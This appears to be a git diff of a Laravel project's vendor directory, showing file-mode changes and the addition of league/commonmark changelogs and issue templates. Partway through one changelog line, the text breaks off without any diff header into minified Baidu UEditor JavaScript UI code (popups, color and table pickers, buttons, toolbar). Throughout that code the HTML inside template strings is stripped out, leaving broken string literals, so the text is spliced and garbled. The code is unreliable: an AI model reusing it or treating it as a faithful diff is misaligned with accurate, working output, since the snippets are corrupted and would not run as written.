b/vendor/laravel/framework/src/Illuminate/Support/Facades/Route.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Facades/Schema.php b/vendor/laravel/framework/src/Illuminate/Support/Facades/Schema.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Facades/Session.php b/vendor/laravel/framework/src/Illuminate/Support/Facades/Session.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Facades/URL.php b/vendor/laravel/framework/src/Illuminate/Support/Facades/URL.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Facades/Validator.php b/vendor/laravel/framework/src/Illuminate/Support/Facades/Validator.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Facades/View.php b/vendor/laravel/framework/src/Illuminate/Support/Facades/View.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Fluent.php b/vendor/laravel/framework/src/Illuminate/Support/Fluent.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Manager.php b/vendor/laravel/framework/src/Illuminate/Support/Manager.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/MessageBag.php b/vendor/laravel/framework/src/Illuminate/Support/MessageBag.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/NamespacedItemResolver.php b/vendor/laravel/framework/src/Illuminate/Support/NamespacedItemResolver.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Pluralizer.php b/vendor/laravel/framework/src/Illuminate/Support/Pluralizer.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/ServiceProvider.php b/vendor/laravel/framework/src/Illuminate/Support/ServiceProvider.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Str.php b/vendor/laravel/framework/src/Illuminate/Support/Str.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/composer.json b/vendor/laravel/framework/src/Illuminate/Support/composer.json old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/helpers.php b/vendor/laravel/framework/src/Illuminate/Support/helpers.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Translation/FileLoader.php b/vendor/laravel/framework/src/Illuminate/Translation/FileLoader.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Translation/LoaderInterface.php b/vendor/laravel/framework/src/Illuminate/Translation/LoaderInterface.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Translation/TranslationServiceProvider.php b/vendor/laravel/framework/src/Illuminate/Translation/TranslationServiceProvider.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Translation/Translator.php b/vendor/laravel/framework/src/Illuminate/Translation/Translator.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Translation/composer.json b/vendor/laravel/framework/src/Illuminate/Translation/composer.json old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Validation/DatabasePresenceVerifier.php b/vendor/laravel/framework/src/Illuminate/Validation/DatabasePresenceVerifier.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Validation/Factory.php b/vendor/laravel/framework/src/Illuminate/Validation/Factory.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Validation/PresenceVerifierInterface.php b/vendor/laravel/framework/src/Illuminate/Validation/PresenceVerifierInterface.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Validation/ValidationServiceProvider.php b/vendor/laravel/framework/src/Illuminate/Validation/ValidationServiceProvider.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Validation/Validator.php b/vendor/laravel/framework/src/Illuminate/Validation/Validator.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Validation/composer.json b/vendor/laravel/framework/src/Illuminate/Validation/composer.json old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/View/Compilers/Compiler.php b/vendor/laravel/framework/src/Illuminate/View/Compilers/Compiler.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/View/Compilers/CompilerInterface.php b/vendor/laravel/framework/src/Illuminate/View/Compilers/CompilerInterface.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/View/Engines/CompilerEngine.php b/vendor/laravel/framework/src/Illuminate/View/Engines/CompilerEngine.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/View/Engines/Engine.php b/vendor/laravel/framework/src/Illuminate/View/Engines/Engine.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/View/Engines/EngineInterface.php b/vendor/laravel/framework/src/Illuminate/View/Engines/EngineInterface.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/View/Engines/EngineResolver.php b/vendor/laravel/framework/src/Illuminate/View/Engines/EngineResolver.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/View/Engines/PhpEngine.php b/vendor/laravel/framework/src/Illuminate/View/Engines/PhpEngine.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/View/Factory.php b/vendor/laravel/framework/src/Illuminate/View/Factory.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php b/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/View/View.php b/vendor/laravel/framework/src/Illuminate/View/View.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/View/ViewFinderInterface.php b/vendor/laravel/framework/src/Illuminate/View/ViewFinderInterface.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/View/ViewServiceProvider.php b/vendor/laravel/framework/src/Illuminate/View/ViewServiceProvider.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/View/composer.json b/vendor/laravel/framework/src/Illuminate/View/composer.json old mode 100644 new mode 100755 diff --git a/vendor/league/commonmark-ext-table/CHANGELOG.md b/vendor/league/commonmark-ext-table/CHANGELOG.md new file mode 100644 index 00000000..3980ca02 --- /dev/null +++ b/vendor/league/commonmark-ext-table/CHANGELOG.md @@ -0,0 +1,59 @@ +CHANGELOG +========= + +0.8.0 (2018-01-24) +------------------ + + * Replace align attribute with text-align style + +0.7.1 (2018-01-23) +------------------ + + * Fix undefined method in commonmark 0.17 + +0.7.0 (2018-01-09) +------------------ + + * Increased minimum PHP version to 5.6 + * Removed support for commonmark 0.14 and 0.15 API + * Updated to the commonmark 0.16 and 0.17 API + * Fix a problem with parsing whitespaces at the end of line + +0.6.1 (2017-01-11) +------------------ + + * Fixed parsing of one column tables + +0.6.0 (2016-09-26) +------------------ + + * Updated to the commonmark 0.15 API + * Moved twig template to [webuni/commonmark-twig-renderer](https://packagist.org/packages/webuni/commonmark-twig-renderer) + +0.5.0 (2016-07-13) +------------------ + + * Added support for table caption (MultiMarkdown) + * Added a template for twig renderer + * Updated to the commonmark 0.14 API + +0.4.0 (2015-09-21) +------------------ + + * Updated to the new commonmark 0.11 API + +0.3.0 (2015-07-27) +------------------ + + * Added support for custom attributes in renderers + +0.2.0 (2015-07-27) +------------------ + + * Updated to the new commonmark 0.10 API + +0.1.0 (2015-06-24) +------------------ + + * Implemented GFM tables + diff --git a/vendor/league/commonmark/.github/ISSUE_TEMPLATE/1_Bug_report.md b/vendor/league/commonmark/.github/ISSUE_TEMPLATE/1_Bug_report.md new file mode 100644 index 00000000..323e9a54 --- /dev/null +++ b/vendor/league/commonmark/.github/ISSUE_TEMPLATE/1_Bug_report.md @@ -0,0 +1,19 @@ +--- +name: 🐛 Bug Report +about: Report errors and problems + +--- + +**Version(s) affected**: x.y.z + +**Description** + + +**How to reproduce** + + +**Possible Solution** + + +**Additional context** + diff --git a/vendor/league/commonmark/.github/ISSUE_TEMPLATE/2_Feature_request.md b/vendor/league/commonmark/.github/ISSUE_TEMPLATE/2_Feature_request.md new file mode 100644 index 00000000..066ad8b3 --- /dev/null +++ b/vendor/league/commonmark/.github/ISSUE_TEMPLATE/2_Feature_request.md @@ -0,0 +1,12 @@ +--- +name: 🚀 Feature Request +about: RFC and ideas for new features and improvements + +--- + +**Description** + + +**Example** + diff --git a/vendor/league/commonmark/.github/ISSUE_TEMPLATE/3_Security_issue.md b/vendor/league/commonmark/.github/ISSUE_TEMPLATE/3_Security_issue.md new file mode 100644 index 00000000..544ebb5d --- /dev/null +++ b/vendor/league/commonmark/.github/ISSUE_TEMPLATE/3_Security_issue.md @@ -0,0 +1,11 @@ +--- +name: ⛔ Security Issue +about: See the README instructions for reporting security issues + +--- + +⚠ PLEASE DON'T DISCLOSE SECURITY-RELATED ISSUES PUBLICLY, SEE BELOW. + +If you have found a security issue in Symfony, please send the details to +colinodell [at] gmail.com and don't disclose it publicly until we can provide a +fix for it. diff --git a/vendor/league/commonmark/CHANGELOG.md b/vendor/league/commonmark/CHANGELOG.md new file mode 100644 index 00000000..ef43d9c7 --- /dev/null +++ b/vendor/league/commonmark/CHANGELOG.md @@ -0,0 +1,759 @@ +# Change Log +All notable changes to this project will be documented in this file. +Updates should follow the [Keep a CHANGELOG](http://keepachangelog.com/) principles. + +## [Unreleased][unreleased] + +## [0.18.5] - 2019-03-28 + +### Fixed + + - Fixed the adjoining `Text` collapser not handling the full tree (thephpleague/commonmark-ext-autolink#10) + +## [0.18.4] - 2019-03-23 + +### Changed + + - Modified how URL normalization decodes certain characters in order to align with the JS library's output + - Disallowed unescaped `(` in parenthesized link title + +### Fixed + + - Fixed two exponential backtracking issues + +## [0.18.3] - 2019-03-21 + +This is a **security update** release. + +### Changed + + - XML/HTML entities in attributes will no longer be preserved when rendering (#353) + +### Fixed + + - Fix XSS vulnerability caused by improper preservation of entities when rendering (#353) + +### Deprecated + + - Deprecated the `$preserveEntites` argument of `Xml::escape()` for removal in the next release (#353) + +## [0.18.2] - 2019-03-16 + +### Fixed + + - Fixed adjoining `Text` elements not being collapsed after delimiter processing + +### Deprecated + + - Deprecated the `CommonmarkConverter::VERSION` constant for removal in 1.0.0 + +## [0.18.1] - 2018-12-29 + +This is a **security update** release. + +### Fixed + + - Fix XSS vulnerability caused by URL normalization not handling/encoding newlines properly (#337, CVE-2018-20583) + +## [0.18.0] - 2018-09-18 + +### Added + + - Added `ConverterInterface` to `Converter` and `CommonMarkConverter` (#330) + - Added `ListItem::getListData()` method (#329) + +### Changed + + - Links with `target="_blank"` will also get `rel="noopener noreferrer"` by default (#331) + - Implemented several performance optimizations (#324) + +## [0.17.5] - 2018-03-29 + +### Fixed + + - Fixed incorrect version constant value (again) + - Fixed release checklist to prevent the above from happening + - Fixed incorrect dates in CHANGELOG + +## [0.17.4] - 2018-03-28 + +### Added + + - Added `ListBlock::setTight()` method + +## [0.17.3] - 2018-03-26 + +### Fixed + + - Fixed incorrect version constant value + +## [0.17.2] - 2018-03-25 + +### Added + + - Added new `RegexHelper::isEscapable()` method + +### Fixed + + - Fixed spec compliance bug where escaped spaces should not be allowed in link destinations + +## [0.17.1] - 2018-03-18 + +### Added + + - Added a new constant containing the current version: `CommonMarkConverter::VERSION` (#314) + +## [0.17.0] - 2017-12-30 + +This release contains several breaking changes and a minimum PHP version bump - see for more details. + +### Added + + - Added new `max_nesting_level` setting (#243) + - Added minor performance optimizations to `Cursor` + +### Changed + + - Minimum PHP version is now 5.6.5. + - All full and partial regular expressions in `RegexHelper` are now defined as constants instead of being built on-the-fly. + - `Cursor::saveState()` now returns an `array` instead of a `CursorState` object. + - `Cursor::restoreState()` now accepts an `array` parameter instead of a `CursorState` object. + - Saving/restoring the Cursor state no longer tracks things that don't change (like the text content). + - `RegexHelper` is now `final`. + - References to `InlineContainer` changed to new `InlineContainerInterface` interface. + - `MiscExtension::addInlineParser()` and `MiscExtension::addBlockRenderer()` now return `$this` instead of nothing. + +### Fixed + - Fixed `Reference::normalizeReference()` not properly collapsing whitespace to a single space + +### Deprecated + + - `RegexHelper::getInstance()` and all instance (non-static) methods have been deprecated. + - The `InlineContainer` interface has been deprecated. Use `InlineContainerInterface` instead. + +### Removed + + - Removed support for PHP 5.4 and 5.5. + - Removed `CursorState` class + - Removed all previous deprecations: + - `Cursor::getFirstNonSpacePosition()` + - `Cursor::getFirstNonSpaceCharacter()` + - `Cursor::advanceWhileMatches()` + - `Cursor::advanceToFirstNonSpace()` + - `ElementRendererInterface::escape()` + - `HtmlRenderer::escape()` + - `RegexHelper::REGEX_UNICODE_WHITESPACE` + - `RegexHelper::getLinkDestinationRegex()` + +## [0.16.0] - 2017-10-30 + +This release contains breaking changes, several performance improvements, and two deprecations: + +### Added + + - Added new `Xml` utility class; moved HTML/XML escaping logic into there (see deprecations below) + +### Changed + + - `Environment::getInlineParsersForCharacter()` now returns an empty array (instead of `null`) when no matching parsers are found + - Three utility classes are now marked `final`: + - `Html5Entities` + - `LinkParserHelper` + - `UrlEncoder` + +### Fixed + + - Improved performance of several methods (for a 10% overall performance boost - #292) + +### Deprecated + +The following methods were deprecated and are scheduled for removal in 0.17.0 or 1.0.0 (whichever comes first). See for more information. + + - `Cursor::advanceWhileMatches()` deprecated; use `Cursor::match()` instead. + - `HtmlRenderer::escape()` deprecated; use `Xml::escape()` instead. + +### Removed + + - Removed `DelimiterStack::findFirstMatchingOpener()` which was previously deprecated in 0.15.0 + +## [0.15.7] - 2017-10-26 + +### Fixed + + - Improved performance of `Cursor::advanceBy()` (for a 16% performance boost) + +## [0.15.6] - 2017-08-08 + +### Fixed + + - Fixed URI normalization not properly encoding/decoding special characters in certain cases (#287) + +## [0.15.5] - 2017-08-05 + +This release bumps spec compliance to 0.28 without breaking changes to the API. + +### Added + + - Project is now tested against PHP 7.2 + +### Changed + + - Bumped CommonMark spec target to 0.28 + - Changed internal implementation of `LinkParserHelper::parseLinkDestination()` to allow nested parens + - Changed precedence of strong/emph when both nestings are possible (rule 14) + - Allow tabs before and after ATX closing header + +### Fixed + + - Fixed HTML type 6 block regex matching against `

          ` (it shouldn't) and not matching ` 
          '+this.getContentHtmlTpl()+"
        "},getContentHtmlTpl:function(){return this.content?"string"==typeof this.content?this.content:this.content.renderHtml():""},_UIBase_postRender:r.prototype.postRender,postRender:function(){if(this.content instanceof r&&this.content.postRender(),this.captureWheel&&!this.captured){this.captured=!0;var e=(document.documentElement.clientHeight||document.body.clientHeight)-80,t=this.getDom().offsetHeight,n=l.getClientRect(this.combox.getDom()).top,i=this.getDom("content"),o=this.getDom("body").getElementsByTagName("iframe");for(o.length&&(o=o[0]);ei.right&&e.left>s.width,r=this.canSideUp&&e.top+s.height>i.bottom&&e.bottom>s.height,a=o?e.left-s.width:e.right,r?e.bottom-s.height:e.top):(o=this.canSideLeft&&e.right+s.width>i.right&&e.left>s.width,r=this.canSideUp&&e.top+s.height>i.bottom&&e.bottom>s.height,a=o?e.right-s.width:e.left,r?e.top-s.height:e.bottom);r||e+s.height>i.bottom&&(e=i.bottom-s.height);s=this.getDom();l.setViewportOffset(s,{left:a,top:e}),d.removeClasses(s,c),s.className+=" "+c[2*(r?1:0)+(o?1:0)],this.editor&&(s.style.zIndex=+this.editor.container.style.zIndex+10,baidu.editor.ui.uiUtils.getFixedLayer().style.zIndex=s.style.zIndex-1),this.getDom().style.visibility="visible"},showAt:function(e){var t=e.left,e=e.top;this.showAnchorRect({left:t,top:e,right:t,bottom:e,height:0,width:0},!1,!0)},_show:function(){this._hidden&&(this.getDom().style.display="",this._hidden=!1,this.fireEvent("show"))},isHidden:function(){return this._hidden},show:function(){this._doAutoRender(),this._show()},hide:function(e){!this._hidden&&this.getDom()&&(this.getDom().style.display="none",this._hidden=!0,e||this.fireEvent("hide"))},queryAutoHide:function(e){return!e||!l.contains(this.getDom(),e)}},e.inherits(t,r),d.on(document,"mousedown",function(e){n(e,e.target||e.srcElement)}),d.on(window,"scroll",function(e,t){n(e,t)})}(),function(){var e=baidu.editor.utils,t=baidu.editor.ui.UIBase,n=baidu.editor.ui.ColorPicker=function(e){this.initOptions(e),this.noColorText=this.noColorText||this.editor.getLang("clearColor"),this.initUIBase()};n.prototype={getHtmlTpl:function(){return function(e,t){for(var n='
        '+e+'
        ',i=0;i"+(60==i?'":"")+""),n+=i<70?'':"";return(n+="")+"
        '+t.getLang("themeColor")+'
        '+t.getLang("standardColor")+"
        "}(this.noColorText,this.editor)},_onTableClick:function(e){e=(e.target||e.srcElement).getAttribute("data-color");e&&this.fireEvent("pickcolor",e)},_onTableOver:function(e){e=(e.target||e.srcElement).getAttribute("data-color");e&&(this.getDom("preview").style.backgroundColor=e)},_onTableOut:function(){this.getDom("preview").style.backgroundColor=""},_onPickNoColor:function(){this.fireEvent("picknocolor")},_onColorSelect:function(e){e=(e.target||e.srcElement).value;e&&this.fireEvent("pickcolor",e)}},e.inherits(n,t);var o="ffffff,000000,eeece1,1f497d,4f81bd,c0504d,9bbb59,8064a2,4bacc6,f79646,f2f2f2,7f7f7f,ddd9c3,c6d9f0,dbe5f1,f2dcdb,ebf1dd,e5e0ec,dbeef3,fdeada,d8d8d8,595959,c4bd97,8db3e2,b8cce4,e5b9b7,d7e3bc,ccc1d9,b7dde8,fbd5b5,bfbfbf,3f3f3f,938953,548dd4,95b3d7,d99694,c3d69b,b2a2c7,92cddc,fac08f,a5a5a5,262626,494429,17365d,366092,953734,76923c,5f497a,31859b,e36c09,7f7f7f,0c0c0c,1d1b10,0f243e,244061,632423,4f6128,3f3151,205867,974806,c00000,ff0000,ffc000,ffff00,92d050,00b050,00b0f0,0070c0,002060,7030a0,".split(",")}(),tMa=baidu.editor.utils,uMa=baidu.editor.ui.uiUtils,vMa=baidu.editor.ui.UIBase,wMa=baidu.editor.ui.TablePicker=function(e){this.initOptions(e),this.initTablePicker()},wMa.prototype={defaultNumRows:10,defaultNumCols:10,maxNumRows:20,maxNumCols:20,numRows:10,numCols:10,lengthOfCellSide:22,initTablePicker:function(){this.initUIBase()},getHtmlTpl:function(){return'
        '},_UIBase_render:vMa.prototype.render,render:function(e){this._UIBase_render(e),this.getDom("label").innerHTML="0"+this.editor.getLang("t_row")+" x 0"+this.editor.getLang("t_col")},_track:function(e,t){var n=this.getDom("overlay").style,i=this.lengthOfCellSide;n.width=e*i+"px",n.height=t*i+"px",this.getDom("label").innerHTML=e+this.editor.getLang("t_col")+" x "+t+this.editor.getLang("t_row"),this.numCols=e,this.numRows=t},_onMouseOver:function(e,t){e=e.relatedTarget||e.fromElement;uMa.contains(t,e)||t===e||(this.getDom("label").innerHTML="0"+this.editor.getLang("t_col")+" x 0"+this.editor.getLang("t_row"),this.getDom("overlay").style.visibility="")},_onMouseOut:function(e,t){e=e.relatedTarget||e.toElement;uMa.contains(t,e)||t===e||(this.getDom("label").innerHTML="0"+this.editor.getLang("t_col")+" x 0"+this.editor.getLang("t_row"),this.getDom("overlay").style.visibility="hidden")},_onMouseMove:function(e,t){this.getDom("overlay").style;var n=uMa.getEventOffset(e),i=this.lengthOfCellSide,e=Math.ceil(n.left/i),i=Math.ceil(n.top/i);this._track(e,i)},_onClick:function(){this.fireEvent("picktable",this.numCols,this.numRows)}},tMa.inherits(wMa,vMa),PMa=baidu.editor.browser,QMa=baidu.editor.dom.domUtils,RMa=baidu.editor.ui.uiUtils,SMa='onmousedown="$$.Stateful_onMouseDown(event, this);" onmouseup="$$.Stateful_onMouseUp(event, this);"'+(PMa.ie?' onmouseenter="$$.Stateful_onMouseEnter(event, this);" onmouseleave="$$.Stateful_onMouseLeave(event, this);"':' onmouseover="$$.Stateful_onMouseOver(event, this);" onmouseout="$$.Stateful_onMouseOut(event, this);"'),baidu.editor.ui.Stateful={alwalysHoverable:!1,target:null,Stateful_init:function(){this._Stateful_dGetHtmlTpl=this.getHtmlTpl,this.getHtmlTpl=this.Stateful_getHtmlTpl},Stateful_getHtmlTpl:function(){return this._Stateful_dGetHtmlTpl().replace(/stateful/g,function(){return SMa})},Stateful_onMouseEnter:function(e,t){this.target=t,this.isDisabled()&&!this.alwalysHoverable||(this.addState("hover"),this.fireEvent("over"))},Stateful_onMouseLeave:function(e,t){this.isDisabled()&&!this.alwalysHoverable||(this.removeState("hover"),this.removeState("active"),this.fireEvent("out"))},Stateful_onMouseOver:function(e,t){var n=e.relatedTarget;RMa.contains(t,n)||t===n||this.Stateful_onMouseEnter(e,t)},Stateful_onMouseOut:function(e,t){var n=e.relatedTarget;RMa.contains(t,n)||t===n||this.Stateful_onMouseLeave(e,t)},Stateful_onMouseDown:function(e,t){this.isDisabled()||this.addState("active")},Stateful_onMouseUp:function(e,t){this.isDisabled()||this.removeState("active")},Stateful_postRender:function(){this.disabled&&!this.hasState("disabled")&&this.addState("disabled")},hasState:function(e){return QMa.hasClass(this.getStateDom(),"edui-state-"+e)},addState:function(e){this.hasState(e)||(this.getStateDom().className+=" edui-state-"+e)},removeState:function(e){this.hasState(e)&&QMa.removeClasses(this.getStateDom(),["edui-state-"+e])},getStateDom:function(){return this.getDom("state")},isChecked:function(){return this.hasState("checked")},setChecked:function(e){!this.isDisabled()&&e?this.addState("checked"):this.removeState("checked")},isDisabled:function(){return this.hasState("disabled")},setDisabled:function(e){e?(this.removeState("hover"),this.removeState("checked"),this.removeState("active"),this.addState("disabled")):this.removeState("disabled")}},kNa=baidu.editor.utils,lNa=baidu.editor.ui.UIBase,mNa=baidu.editor.ui.Stateful,nNa=baidu.editor.ui.Button=function(e){var t,n;e.name&&(t=e.name,n=e.cssRules,e.className||(e.className="edui-for-"+t),e.cssRules=".edui-"+(e.theme||"default")+" .edui-toolbar .edui-button.edui-for-"+t+" .edui-icon {"+n+"}"),this.initOptions(e),this.initButton()},nNa.prototype={uiName:"button",label:"",title:"",showIcon:!0,showText:!0,cssRules:"",initButton:function(){this.initUIBase(),this.Stateful_init(),this.cssRules&&kNa.cssRule("edui-customize-"+this.name+"-style",this.cssRules)},getHtmlTpl:function(){return'
        '+(this.showIcon?'
        ':"")+(this.showText?'
        '+this.label+"
        ":"")+"
        "},postRender:function(){this.Stateful_postRender(),this.setDisabled(this.disabled)},_onMouseDown:function(e){e=e.target||e.srcElement,e=e&&e.tagName&&e.tagName.toLowerCase();if("input"==e||"object"==e||"object"==e)return!1},_onClick:function(){this.isDisabled()||this.fireEvent("click")},setTitle:function(e){this.getDom("label").innerHTML=e}},kNa.inherits(nNa,lNa),kNa.extend(nNa.prototype,mNa),vNa=baidu.editor.utils,wNa=baidu.editor.ui.uiUtils,baidu.editor.dom.domUtils,xNa=baidu.editor.ui.UIBase,yNa=baidu.editor.ui.Stateful,zNa=baidu.editor.ui.SplitButton=function(e){this.initOptions(e),this.initSplitButton()},zNa.prototype={popup:null,uiName:"splitbutton",title:"",initSplitButton:function(){var e;this.initUIBase(),this.Stateful_init(),null!=this.popup&&(e=this.popup,this.popup=null,this.setPopup(e))},_UIBase_postRender:xNa.prototype.postRender,postRender:function(){this.Stateful_postRender(),this._UIBase_postRender()},setPopup:function(e){this.popup!==e&&(null!=this.popup&&this.popup.dispose(),e.addListener("show",vNa.bind(this._onPopupShow,this)),e.addListener("hide",vNa.bind(this._onPopupHide,this)),e.addListener("postrender",vNa.bind(function(){e.getDom("body").appendChild(wNa.createElementByHtml('
        ')),e.getDom().className+=" "+this.className},this)),this.popup=e)},_onPopupShow:function(){this.addState("opened")},_onPopupHide:function(){this.removeState("opened")},getHtmlTpl:function(){return'
        '},showPopup:function(){var e=wNa.getClientRect(this.getDom());e.top-=this.popup.SHADOW_RADIUS,e.height+=this.popup.SHADOW_RADIUS,this.popup.showAnchorRect(e)},_onArrowClick:function(e,t){this.isDisabled()||this.showPopup()},_onButtonClick:function(){this.isDisabled()||this.fireEvent("buttonclick")}},vNa.inherits(zNa,xNa),vNa.extend(zNa.prototype,yNa,!0),GNa=baidu.editor.utils,HNa=baidu.editor.ui.uiUtils,INa=baidu.editor.ui.ColorPicker,JNa=baidu.editor.ui.Popup,KNa=baidu.editor.ui.SplitButton,LNa=baidu.editor.ui.ColorButton=function(e){this.initOptions(e),this.initColorButton()},LNa.prototype={initColorButton:function(){var n=this;this.popup=new JNa({content:new INa({noColorText:n.editor.getLang("clearColor"),editor:n.editor,onpickcolor:function(e,t){n._onPickColor(t)},onpicknocolor:function(e,t){n._onPickNoColor(t)}}),editor:n.editor}),this.initSplitButton()},_SplitButton_postRender:KNa.prototype.postRender,postRender:function(){this._SplitButton_postRender(),this.getDom("button_body").appendChild(HNa.createElementByHtml('
        ')),this.getDom().className+=" edui-colorbutton"},setColor:function(e){this.getDom("colorlump").style.backgroundColor=e,this.color=e},_onPickColor:function(e){!1!==this.fireEvent("pickcolor",e)&&(this.setColor(e),this.popup.hide())},_onPickNoColor:function(e){!1!==this.fireEvent("picknocolor")&&this.popup.hide()}},GNa.inherits(LNa,KNa),VNa=baidu.editor.utils,WNa=baidu.editor.ui.Popup,XNa=baidu.editor.ui.TablePicker,YNa=baidu.editor.ui.SplitButton,ZNa=baidu.editor.ui.TableButton=function(e){this.initOptions(e),this.initTableButton()},ZNa.prototype={initTableButton:function(){var i=this;this.popup=new WNa({content:new XNa({editor:i.editor,onpicktable:function(e,t,n){i._onPickTable(t,n)}}),editor:i.editor}),this.initSplitButton()},_onPickTable:function(e,t){!1!==this.fireEvent("picktable",e,t)&&this.popup.hide()}},VNa.inherits(ZNa,YNa),fOa=baidu.editor.utils,gOa=baidu.editor.ui.UIBase,hOa=baidu.editor.ui.AutoTypeSetPicker=function(e){this.initOptions(e),this.initAutoTypeSetPicker()},hOa.prototype={initAutoTypeSetPicker:function(){this.initUIBase()},getHtmlTpl:function(){var e=this.editor,t=e.options.autotypeset,n=e.getLang("autoTypeSet"),i="textAlignValue"+e.uid,o="imageBlockLineValue"+e.uid,r="symbolConverValue"+e.uid;return'
        "+n.mergeLine+'"+n.delLine+'
        "+n.removeFormat+'"+n.indent+'
        "+n.alignment+'"+e.getLang("justifyleft")+'"+e.getLang("justifycenter")+'"+e.getLang("justifyright")+'
        "+n.imageFloat+'"+e.getLang("default")+'"+e.getLang("justifyleft")+'"+e.getLang("justifycenter")+'"+e.getLang("justifyright")+'
        "+n.removeFontsize+'"+n.removeFontFamily+'
        "+n.removeHtml+'
        "+n.pasteFilter+'
        "+n.symbol+'"+n.bdc2sb+'"+n.tobdc+'
        "},_UIBase_render:gOa.prototype.render},fOa.inherits(hOa,gOa),pOa=baidu.editor.utils,qOa=baidu.editor.ui.Popup,rOa=baidu.editor.ui.AutoTypeSetPicker,sOa=baidu.editor.ui.SplitButton,tOa=baidu.editor.ui.AutoTypeSetButton=function(e){this.initOptions(e),this.initAutoTypeSetButton()},tOa.prototype={initAutoTypeSetButton:function(){var s=this;this.popup=new qOa({content:new rOa({editor:s.editor}),editor:s.editor,hide:function(){!this._hidden&&this.getDom()&&(uOa(this),this.getDom().style.display="none",this._hidden=!0,this.fireEvent("hide"))}});var t=0;this.popup.addListener("postRenderAfter",function(){var e,a=this;t||((e=this.getDom()).getElementsByTagName("button")[0].onclick=function(){uOa(a),s.editor.execCommand("autotypeset"),a.hide()},domUtils.on(e,"click",function(e){var t=e.target||e.srcElement,e=s.editor.uid;if(t&&"INPUT"==t.tagName){if("imageBlockLine"==t.name||"textAlign"==t.name||"symbolConver"==t.name)for(var n=t.checked,i=document.getElementById(t.name+"Value"+e).getElementsByTagName("input"),o={imageBlockLine:"none",textAlign:"left",symbolConver:"tobdc"},r=0;r"),i.push('
        '),2==t&&i.push("");return'
        '+i.join("")+"
        "},getStateDom:function(){return this.target},_onClick:function(e){var t=e.target||e.srcElement;/icon/.test(t.className)&&(this.items[t.parentNode.getAttribute("index")].onclick(),YOa.postHide(e))},_UIBase_render:$Oa.prototype.render},XOa.inherits(_Oa,$Oa),XOa.extend(_Oa.prototype,ZOa,!0),lPa=baidu.editor.utils,mPa=baidu.editor.ui.Stateful,nPa=baidu.editor.ui.uiUtils,oPa=baidu.editor.ui.UIBase,pPa=baidu.editor.ui.PastePicker=function(e){this.initOptions(e),this.initPastePicker()},pPa.prototype={initPastePicker:function(){this.initUIBase(),this.Stateful_init()},getHtmlTpl:function(){return'
        '+this.editor.getLang("pasteOpt")+'
        '},getStateDom:function(){return this.target},format:function(e){this.editor.ui._isTransfer=!0,this.editor.fireEvent("pasteTransfer",e)},_onClick:function(e){var t=domUtils.getNextDomNode(e),n=nPa.getViewportRect().height,i=nPa.getClientRect(t);i.top+i.height>n?t.style.top=-i.height-e.offsetHeight+"px":t.style.top="",/hidden/gi.test(domUtils.getComputedStyle(t,"visibility"))?(t.style.visibility="visible",domUtils.addClass(e,"edui-state-opened")):(t.style.visibility="hidden",domUtils.removeClasses(e,"edui-state-opened"))},_UIBase_render:oPa.prototype.render},lPa.inherits(pPa,oPa),lPa.extend(pPa.prototype,mPa,!0),wPa=baidu.editor.utils,xPa=baidu.editor.ui.uiUtils,yPa=baidu.editor.ui.UIBase,zPa=baidu.editor.ui.Toolbar=function(e){this.initOptions(e),this.initToolbar()},zPa.prototype={items:null,initToolbar:function(){this.items=this.items||[],this.initUIBase()},add:function(e,t){void 0===t?this.items.push(e):this.items.splice(t,0,e)},getHtmlTpl:function(){for(var e=[],t=0;t'+e.join("")+"
        "},postRender:function(){for(var e=this.getDom(),t=0;t','
        ','
        ','
        ',"
        ",'
        ','
        删除
        ','
        左对齐
        ','
        右对齐
        ',"
        ","
